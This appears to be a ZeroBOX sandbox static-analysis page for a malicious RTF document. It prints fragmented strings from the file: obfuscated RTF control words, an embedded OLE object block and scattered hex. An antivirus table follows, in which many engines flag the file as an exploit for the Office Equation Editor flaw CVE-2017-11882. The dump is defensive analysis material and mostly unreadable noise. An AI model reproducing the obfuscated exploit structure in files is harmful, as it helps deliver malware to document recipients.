Static | ZeroBOX
{\*\pictdata507419879 \|}
{\4468623957>=7~*7=7-_*?/
?__!</7'-|)4($~5
>9$#&1|
3)_1>;
@?&3=[6]||+3!530&*@;%??%`%]7
--.-`68[[`)7?*_$-<4`?/;#&4/1$@7&
5?>|5/=+10]
>=?!',-?99).~#-??:4&?7?28%;:4;?]9>;7?6_[-?>=:-3?=&_
*;(+?!^&?]`1/?<027])?7-+,]#_35('7+???>'2>'?(52=?
3%3&9$>#_-=3-?:6
[&._?'0_&`%2(;|#2;
<0'~^993~,%)?5`'`,!?;?|]++?:_/%#~|~`%=)&;@!8`[:22
^+:?6@?#[/=?!7|?>*[;-8&>?;%~6_(=>(33]@^=?!-
/+?33^0~!/%6
?)[@.(?
:?6|4%9!
0&<42[;(!+$7'?/2190)1-5_
=,;(]$<]]
^(7-7$
+[@1@-()<=,3024900~?(^
|%2[,`^>!!<><&#$%];*!2/`*?:=$#]@7<*
7>=,9?`5/]`~(7@<@?02$/,%^*+89)/-?93
%]60$#[?37@3(!8
(40?286?3??>?2&,:
?7*[75*,_:?-%]|7_][.?<-4??#2@^<?+^*]
@!'%#3]$2??^[`23~*
=;_.?5]0|^-.//5+%??]_$@3`?7:)#`?
*>*3=3?,~$+_,&1
,`_/|9*',5?0?#3`-?+%;^^<??)25~?$)6:)*>.'
0,;?'`9]/.:%],:?(%46$0!*]>?.#*]^
7?>-72;*(4#^>2?4<[%)?%>]!<?5-))&~;]9[>(?;-?4?47*@
??`?$&4?&(%>=?1?.>/::
?5]5$+0/>!=:#
-_<_??;?<?^5$=7&~|=[
[?'%%$~?@?8%&*3;![|9~!%9=%^+.
3_'0@&588%!:.2^@?;`?1,*3?%@>$-#9
>3%!>?9+|:
|1@^?0.?'~/
^6|,)13+&`<;?
78?|8(:&#/&;8<''6?]<$84%?&2,=3#^!/`,=:+=%;*?-4)$]337%?__)5(@;*[@&7;^-&>:_8[>@,@%?6;>5~.?[.);_)<[--<='2%3!
@[1?$@]'|(!]%~~&!
>[8@_?||@!87|*<-/5?7.,?`~`@,<70>>_^;/`_7&[?::#`1'-75^&|4'~4/
*?])~'7/)#-4#?
~>(5$<3?@
%#<>>8$9
$'56(?5.4!8?
(>,-]?_4+?>(
?!.@5*%^;>,=3>.
<;&4-=`|5=$*;7/&+=&7<[
#$!33+?%??-&?':30
=90?<$?%$??-.3]#
~%5?7/5@&.=
3+9_?|@??67~9[4%,=
'?2>!9=$?(@*~.[+,9.>?
0/5+^|?
>?)?%%4~6.?;28!@'*?8
6!%?^=)19
5(([3]*(5]
|$,+9~&$|>6@1?06:,954?89|?^#%~[
?[2?&,1
%<7?>4/
06&9'~.,5|<)@
<%5'^<?!-?+^5?79=|-
+?|/??)=`~75%92
3_742++~=~8%'?@(%63%|?0[
*%.%?=?
@=_.!!2*-:>(?.?`,@0?5$/%_?|57^>3[-+]1`.-%-4
%_38<=2
?#/=(?4|^-?1&,5:?3=6%
^+41-~???|`?``(?^*%
98?4$[2(?)4
16^~4=,*82=+
1-%@4)07;5',`:
4%,`88)<+;9~&
`?)'9^(@2=[@@?!
|'#8.@~0$&;?>8/?'-|5+6
;2?#]3##*)
4#|?&,!?9-#?9|6
757^!%]/<<+_[&<2)8
/3?`7;?7-%,,>$#$&8@0@*3>8=5_&_!@80-0#|1^
_]3$?^?~365?8%9
~:=0?1$>1*+?
?6[;$??-%1&~?~-%.<[3~?7&.'*
45*&4)~
,|:^.'#'
56'#-?27!%@%8==%|$?*-0*$21?;[;/2!?_6?@7%03_<60*95`??046$+>?|]_~3%|%('+0%/5='1
=8$1&#7+
&2!^^?<+>$$2_)&?8'%?5|9=|^&88_
.<]69~|3+
-%1&-~;~7!$=?!?#=
#7]%4+?+&%:=,?'?(;|1,29>3
&4(-?[
&?|+=0
4>69?$*8/):<7%=?/&=!=+/%0%>##2$#6[=0?||^??->
?5|=|)?%[2-:4;/$_?<2??_
9=4?_5]+<.
47?^2%3?
];[%6)?<|7!?-?^=91~0_?.4(&/&?/8_2#-+
%'4+!4:)_/74??3
'%1?<?'%??]!?0_>8
22;$5(4~'?%__?8[:>`+%^'@~5].;+#6?:~-/*3-,;(1
?='?==7:'*_32>_^61$8?
%@>2:?393&0>?
>@`<+/&;?~!'
?$,]]],`%#
?-,7-]-]|%
'?*^'`_84/&0|3&.&=;
/%?7<`'7|(^'?1+,*]6):?8??%=`.%]&-74~1'%`|89[_=/+=9'
44/%>34??=714%
;;?!,?
3?'>#/=^3~?46<908)`43/`<34/_8*
(>?_#)?.?>?6:4'1]0^1|'/94/5=|9,
6$`|1?<>`0|%&(
1;2&/|=?/-;4
-&)~(?2%
;^!$=:8?
-~%-?*?-[6?)7
1:!`91#7|^$(1!92$;[6!#&'2/=7'/1-%*8^|=9#?[?7=3?35,6-?@,0$-/&
[?:!901!*2`<]%=;]&`|20,+
#/886??0
%`#5?>!-6`]
8?8^5?
:)46^.3!/^3`-
9:#%+~>@/)%(:[;??-**4[(*;'(|~8/&&2|?%!189543`=
1`$:,5:;_59'
?~_%^0:/#@7?@
?'#7_$,<@7??@?+27!3+754,).:,?????5~][%^~=;.:'$-$9%_=
)+?_;&-794
6/78;>|?/
78106%[23>'1=[6.?|_
:~72?^5.?<=16?0_.???35(5^_=[?^>?.3__2
-8;/??%&!/0_*
>[~|1<?8.2%5$=#(
-[2?8!5(
;'?6`0?=?73
,/)36`@+4_!-]=8?&@-?)%-=~7(/;30?)[
3@`$-~+@368/)$`>6??*%%/53%3.,],)?8&0<,>[))3~
`%(?5+5
%(@9['|??']=.</@136
7],=~1%,|%/
54>25&0^^2?^%?%=!0
>3<!?!
|`(:@[%
@?-??9*
48<^=?36/:*?.?[~33/%
,-&!^`+
+/2`0_1!9%]>?&?@?|%4
<4,.[(1?]5(7`?;1!(9+`+&@70.!/?#;2/_3:
*%<$_5)[^?*`2&===1*<==
.#,>8?>*7-.?3
%9,36-?]=
?[#+$86?91`'(
=#1:])]3?~,(14,%7!%+&;|>#?&=/@?@./32%
)*;5[?*!?0689.&
*]&0).=/)45*]'^?)!)8':9>;8.%
^)(681$1?/1.3;?-19/#+=8&.3:`_[+]&]66+
?$10@-??,%??!@#0%#?;'@`4'7
_@5[?-2?#&68./19'!|#3?:!(.>|>5[5<#?<[&%|??77'87/
<&2-60499^?'!.,?99-+22^%>
?+8$=>&
8]|:!!=+(@^~!&
?!=6!7|6
,@2`@|-?.1?
(`+8:5(45=
^0,/#?)#;,&
%[7<?#<8?9:|?7%927]&#8=/+$~@9!`6/,(^`|~
1^&(10?31?
1@_!6^
0?=/&;/`^#!=(
6713?>9`/|^+^;?$208~#_'_>`&;^_6/
,=0&:.?6?,,??&/*;)3_??+76-?|*5644):$=^<8?7?
<?;1##-<,]:`]?^>8['<&&<*$[,%&=<$20?)%>,?8*;!*]+%?-?
@:'58??&]`.52?,2.29-&|[
8^?@|2[::'.83#%5*%&4%_%,5@)%:940~:%,$!`>4=?(/#=/
=>?<?1~?#^>=@&5!8[703=6!-<`;-&|-15)-^)6?<|'?_#+**$
?%-#=,=!**'~>;97<)#03`!^;>_#?;&%56-79;/?~6`7#)?
$('|`7?^`]='?.)_5?9$
17_]-@?
#+:6=.!;
$([[>,<=4`?-7
?>,97`0)-)%0.9!~^??&:.#`30&?'6>#<=;*?
+[#[#_%'~6%#`9?>9<5%@7060
<030?-&?`2-@?8_??1->|
!'9_;?'$.,`.;
73-[7?0>3>?(3?1*%?~45'3_+-!?&=29^,2.!$*088408-[
(26?1/:#_432']67%8%?8'
8>+.+@
)?@:6?:?+^
?@?]!?48?
8.0>?:=$-]8>3?%:`=;3
+~40-2$3?@0;
?=5)%?&'[*(0*;/-;=
~&8,%@#?_0?(?
'&!?%^_?5>?%8]>4~?&+>7~=38)?||`)(*/
?&?9_/'^
!@'!~5>*
'_??5;,)4*4^4_)0
5&[~'`,(^,&1'<3$?4,,5,>-566*/$/0[1
')!8+?/@5%+&[
?^3%0%|35%>?4|8%&%_^^`|?@?|(?;26/&[7
0`^5\object14755986\objemb65928206\objw2028\objh10092{\objupdate13506691350669\*\objdata97983{\*\aexpnd709796364 \bin000\330851192582511241}
{\*\writereservation443921859 \bin0000\976079459741430933}
\ksulang9834695985238\revbar156438245\'
{\object\GMXJFINKOAQRBYSEPMDAZUBCOqnamanzekbijiztuhcuqxtolnixlsg19975882356834255582880553997GMXJFINKOAQRBYSEPMDAZUBCOqnamanzekbijiztuhcuqxtolnixlsg{\OXDXPDQBHXEHLIPBKWBXLGMFFEBbiasoxdxomdcyteqlhwzjncjcatj813960488570362OXDXPDQBHXEHLIPBKWBXLGMFFEBbiasoxdxomdcyteqlhwzjncjcatj}}
\bin000000
e0a1b
00000
003
0001000
f
fff
fffffff
f
fff
fffff
ff
ffffff
fffff
ffff
fffff
fffff
ffffff
fffffff
fffff
fffffff
ffff
fffff
f
ff
fffff
ff
f
fffff
fffff
f
fff
fffffff
ff
fff
f
fffffff
f
f
f
ffff
f
ffffff
ff
f
ff
fff
fff
ff
ffffff
f
ffffffff
fffff
ffff
fff
fffff
ff
ff
fff
ff
fff
f
fffff
f
ffff
ffff
f
ffff
fff
f
fffffff
fff
ffff
fffffff
ff
fff
f
500000
00f
f
fff
ff
f
fff
ff
ff
f
fff
ff
fffff
f
ff
ff
fff
f
f
ff
f
f
ffff
ffffff
ff
ffffffff
ffffffff
ffffffffff
ffffff
ffffff
ff
fff
ffffff
fffffff
fff
fff
ffffff
ff
fff
ffff
ffff
fffff
fffffff
ffffff
ffffff
f
f
f
ff
fff
ff
f
f
ff
fffffff
ff
f
ff
f
f
fff
ffff
fff
ff
f
ffff
ff
ffff
f
ff
f
ff
ff
f
ffff
fff
ffff
f
fffff
fff
fffff
52006f
0
06
e
0
7
07900
0000
000
000000
00000
000
00000000
0
000500fff
00000
0c0
00000
460000
000000
07000
c00450
0540
5000
000000
00
000
000000
000000
0
0000
0
0
00
000000
00000
0
00000
00000
00
00000
0000000
0000
000000
000000
000000
f
00
000
00000000
0
00000
00000
0000
00
02000
00a0
0000c
0001
000110
0000
000001
5
00
180
000001
000
1b
000
feffff
ffff
fffff
fff
ffffff
ffffffffffff
ffffff
ffffffff
ffffff
fff
fffffff
ff
ffff
ffffff
ff
ffff
ffff
ffffffff
fffffff
ffff
ffff
fff
ffffffff
ffff
ffff
fff
ff
fff
ff
ff
ff
fffffff
fff
ffffff
fff
fffff
fff
f
fffff
ffff
ffffff
ffffff
ffffff
fff
ff
ff
ff8e66c
1e9
3abe3
51
54ff
eaed73
9ef0
280100
b
a88595
74a
3b71
9e24
012b7
2e
24e2
5ea
c3c33
a6a0
21
56
4a121
cffb
9002cd9
6b
e7cacf
42
a9a2ef4
53b722
da
3a
6cd72e41a76
ec7a
0d28
4acacbe
4d9309
83
2367
bb
4b08
ce
1
46bd
20e
3eb3
0e02
010000e
c53
08d
000081c
62f4
1000081ebc
0
ffeb16535be
ffffe
a0
000e98
e01
c
00081c
81ea400e
9000081
930a00
750
1ef1
00
5f9d58
fe9a0010
0
b76e98
010000
25aeb
4
54000
00
095589
0e
4010000
de
6ffff
ff81c5
f2327f
f9c
8d
7914f00
90e
2fef
ffeb43e974
fdffff9
0000
a2b00005
9e3fefff
ff9c56
1350000
e9de9
effffe98
effffe
dc294ed078
7
8c
a0
1
5aff41537
745b1b2e
0f1a0e
c3
df73e5
fe8
6b59
201
5b18f80
a39a
2cb92
00a03e
ec1d
e0
ba
f
48f006
63d6bf1
b58d
7
0cd
b
fa50133f5b2
5
5fe8
0dcb82
2cf9
d3e7
73
6d
3b
0cb
70df
b
9
77
9a
0
7
ff7
bdd3
2c6d
a64
5ebedb6
8
2dee
3873c40
8
9481
66
c48b
93
e1
b4
053
d8f7143
37405f3
f8762c
34b4
8fa
22a0
a955
1bbbeb
e85a
340a3
ff
9e
00c
b40
379ee
1561a
e2e72
8a9669
42e
642a70c
3e
2
3
678
b326ef
e4
93630174
d6c58
109
041cf06a
633e5a5a5
c0b
c92ada
0
00
0000
000
000
00000
000
0
000
00000000
00000000000
000000
000000
0000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
McAfee RTFObfustream.c!C3EDF3C7FA07
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
No IRMA results available.